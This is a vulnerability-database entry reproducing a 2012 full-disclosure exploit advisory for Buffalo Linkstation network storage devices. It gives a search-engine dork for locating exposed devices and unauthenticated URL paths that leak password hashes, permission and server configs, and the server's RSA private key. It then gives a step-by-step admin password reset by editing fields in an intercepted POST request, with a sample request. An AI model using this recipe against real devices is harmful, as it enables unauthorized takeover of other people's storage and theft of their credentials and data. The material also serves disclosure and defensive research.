ID

VAR-E-201212-0519


TITLE

Buffalo Linkstation Privilege Escalation / Information Disclosure

Trust: 0.5

sources: PACKETSTORM: 118532

DESCRIPTION

Buffalo Linkstation suffers from information disclosure and privilege escalation vulnerabilities.

Trust: 0.5

sources: PACKETSTORM: 118532

AFFECTED PRODUCTS

vendor:buffalomodel:linkstationscope: - version: -

Trust: 0.5

sources: PACKETSTORM: 118532

EXPLOIT

Release Date.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 30-Nov-2012
Last Update.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 -
Vendor Notification Date.\xa0 23.Dec.2011

Product.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Linkstation & Others

Platform.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Buffalo Technology
Affected versions.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Including Actual Version

Severity Rating.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Medium
Impact.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Privilege escalation, Information Disclosure

Attack Vector.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 From remote
Solution Status.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Don't use internet function aka. WebAccess
CVE reference.\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 CVE - not yet assigned

Buffalo doesn't has a security department. They always forwarded me to sales, as they thought the will help me there better. Never received any answer. Tried over some other companies to reach Buffalo, but they are not interested in vulnerabilities.
I waited one year and nothing happend. So here we go...

Buffalo Linkstation Information Disclosure (Password, Certificate,..)
+ Google Dork

+--->intitle:"LinkStation - LS-WTGL"\xa0 Copyright 2002-2008

(There are better ways to find them..)

[ WebAccess - Accessing shared folders via Browser. Disabled by default. Has to be enabled ]

If you find them online, a WebAccess ist enabled by 99.9%..

No authentication needed to access the files!

+ Permission Settings (read)
+---> x.x.x.x/modules/webaxs/module/files/perm.conf

+ Username & Password disclosure (htpasswd)
+---> x.x.x.x/modules/webaxs/module/files/password

+ Lighttpd Config
+---> x.x.x.x/modules/webaxs/module/files/lighttpd.conf

+ Lighttpd RSA Private & Public Key
+---> x.x.x.x/modules/webaxs/module/files/host.pem

Buffalo Linkstation Privilege Escalation (Admin Password Reset)

After you cracked the htpassword,\xa0 logon with a gained (unprivileged) username and reset the admin password.

To do so just use temperdata or intercept on burp and try to change your password. Enable temper and press the button to change your password.

In the POST request just change the User*Name fields with the name "admin". Make sure to keep the gSSS and gRRR as they are the "session cookies".
Send the changed values and logon with the admin user again.

Example:

\xa0\xa0 Post Data:
\xa0\xa0\xa0\xa0\xa0 hiddenPageId[user_add]
\xa0\xa0\xa0\xa0\xa0 txtUserEditName[admin]\xa0\xa0 <--- Replace your username with admin here
\xa0\xa0\xa0\xa0\xa0 txtUserEditOldName[admin]\xa0\xa0 <--- Replace your username with admin here
\xa0\xa0\xa0\xa0\xa0 txtUserEditPassword1st[reset]\xa0 <-- Password of your favor
\xa0\xa0\xa0\xa0\xa0 txtUserEditPassword2nd[reset]\xa0 <-- Password of your favor
\xa0\xa0\xa0\xa0\xa0 txtUserEditComment[]
\xa0\xa0\xa0\xa0\xa0 hiddenUserEditNameOld[admin]\xa0\xa0 <--- Replace your username with admin here
\xa0\xa0\xa0\xa0\xa0 txtHelpSearch[]
\xa0\xa0\xa0\xa0\xa0 gPage[user]
\xa0\xa0\xa0\xa0\xa0 gMode[setup]
\xa0\xa0\xa0\xa0\xa0 gType[undefined]
\xa0\xa0\xa0\xa0\xa0 gKey[undefined]
\xa0\xa0\xa0\xa0\xa0 gSSS[3ae1c32d69ff7a83594d9daa9c776ad8]
\xa0\xa0\xa0\xa0\xa0 gRRR[666525125298680621]
\xa0\xa0\xa0\xa0\xa0 hiddenDummyText[dummy]
\xa0\xa0 Response Headers:
\xa0\xa0\xa0\xa0\xa0 Date[Fri, 09 Dec 2011 16:42:13 GMT]
\xa0\xa0\xa0\xa0\xa0 Server[Apache/1.3.34 (Unix)]
\xa0\xa0\xa0\xa0\xa0 Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
\xa0\xa0\xa0\xa0\xa0 Expires[Thu, 01 Dec 1994 16:00:00 GMT]
\xa0\xa0\xa0\xa0\xa0 Pragma[no-cache]
\xa0\xa0\xa0\xa0\xa0 Keep-Alive[timeout=15, max=100]
\xa0\xa0\xa0\xa0\xa0 Connection[Keep-Alive]
\xa0\xa0\xa0\xa0\xa0 Transfer-Encoding[chunked]
\xa0\xa0\xa0\xa0\xa0 Content-Type[text/html; charset=UTF-8]
You can download a firmware Image and unzip it (zip password is all over the internet). There you will find more "features".
It's just a very bad maintained linux. Bad filepermissions aso..

Buffalo: Your firmware is bad and you should feel bad!

Andr\xe9

Trust: 0.5

sources: PACKETSTORM: 118532

EXPLOIT HASH

LOCAL

SOURCE

md5: fff2bddb1f8834ae209ca7e2d575b905
sha-1: acaa7ba99f46a66303e9704abebf9cd97421c3f7
sha-256: daf542c5153cbe1493667f1a44db53c6fece8f28ce7c7d4a40e8be299068937b
md5: fff2bddb1f8834ae209ca7e2d575b905

Trust: 0.5

sources: PACKETSTORM: 118532

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 118532

TYPE

info disclosure

Trust: 0.5

sources: PACKETSTORM: 118532

TAGS

tag:exploit

Trust: 0.5

tag:vulnerability

Trust: 0.5

tag:info disclosure

Trust: 0.5

sources: PACKETSTORM: 118532

CREDITS

Hurgel Bumpf

Trust: 0.5

sources: PACKETSTORM: 118532

EXTERNAL IDS

db:PACKETSTORMid:118532

Trust: 0.5

sources: PACKETSTORM: 118532

SOURCES

db:PACKETSTORMid:118532

LAST UPDATE DATE

2022-07-27T09:40:31.448000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:118532date:2012-12-01T14:44:44